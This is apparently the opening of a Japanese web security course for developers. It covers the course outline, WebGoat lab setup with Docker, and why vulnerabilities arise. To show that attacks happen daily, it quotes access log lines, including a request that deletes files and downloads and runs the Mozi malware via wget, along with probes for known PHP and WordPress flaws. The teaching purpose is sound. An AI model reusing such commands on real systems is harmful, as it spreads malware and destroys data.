Webセキュリティ講座

本講義の流れ

- Webのセキュリティについて
- SQLインジェクション
- パストラバーサル
- XSS
- CSRF
- 脆弱性診断（自動診断）

環境の確認

本講義では以下のツールを使用します。

- Docker, Docker Compose
  - Docker Desktop for Mac または Docker Desktop for Windows
- Owasp ZAP

WebGoatの設定

https://github.com/takapi86/docker-webgoat

```
git clone git@github.com:takapi86/docker-webgoat.git # gitをインストールしていない方はZIPをダウンロードして展開してください
cd docker-webgoat
docker-compose up
```

以下のURLにアクセスし、ログインページが表示されれば成功です。

http://localhost:8080/WebGoat

Webシステムのセキュリティ

なぜ学ぶ必要があるか？

=> 常にWebシステム・Webサービスは狙われている

昨日、外部に公開している練習用のRailsアプリケーションのログを確認したのですが、毎日攻撃がきていました😱

```
"GET /shell?cd+/tmp;rm+-rf+*;wget+http://XXX.XXX.XXX.XXX:49225/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404
```

```
"POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404
"GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1" 404
```

最近のインシデント・事故

https://scan.netsecurity.ne.jp/category/incident/

なぜ、セキュリティ事故は起こるのか？

- どんなシステムでも突破する凄腕のハッカーがいるから🤦
- システムに欠陥があって悪用できるから👲

- サーバーやシステム設定ミス、OSやソフトウェア脆弱性
- Webアプリケーション脆弱性
  - 設計上欠陥
  - プログラムバグ

これらが悪用されることで様々なセキュリティ侵害が発生する

脆弱性とは？

ソフトウェアを悪用できるバグ

つまり我々エンジニア開発者によって作られる

なぜ、脆弱性を作り込んでしまうのか？

要因の一つとして

- 脆弱性に関する知識不足
- アプリケーション設計不足

安全なアプリケーションを開発するためには、脆弱性について知ることが大切

今回はWebアプリケーションの脆弱性である

- SQLインジェクション
- パストラバーサル
- XSS
- CSRF

について、実際に攻撃手法、対策方法を学んでいきましょう。